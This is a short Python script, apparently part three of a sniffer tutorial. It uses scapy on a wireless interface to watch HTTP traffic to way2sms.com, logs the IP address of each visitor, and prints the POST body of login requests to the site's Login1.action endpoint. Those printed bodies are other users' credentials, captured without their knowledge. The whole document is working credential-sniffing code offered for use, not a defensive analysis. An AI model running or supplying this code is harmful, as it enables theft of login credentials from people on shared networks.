Python Sniffer - Part 3

from scapy.all import *
import re

conf.iface="wlan0"
def sniffData(pkt):
    if pkt.haslayer( Raw ):   # Check for the Data layer
        header = pkt.getlayer( Raw ).load    # Get the sent data
        if header.startswith('GET') or header.startswith('POST'):     # Make sure it's a request
            if 'way2sms.com' in header:
                src = pkt.getlayer(IP).src
                print "%s visited the site: %s" % (src, 'way2sms.com')
                if header.startswith('POST'):
                    if 'Login1.action' in header:
                        data = header.split('\r\n\r\n')[1]
                        print "[%s] POST data Captured: %s" % (src, data)
sniff(prn=sniffData)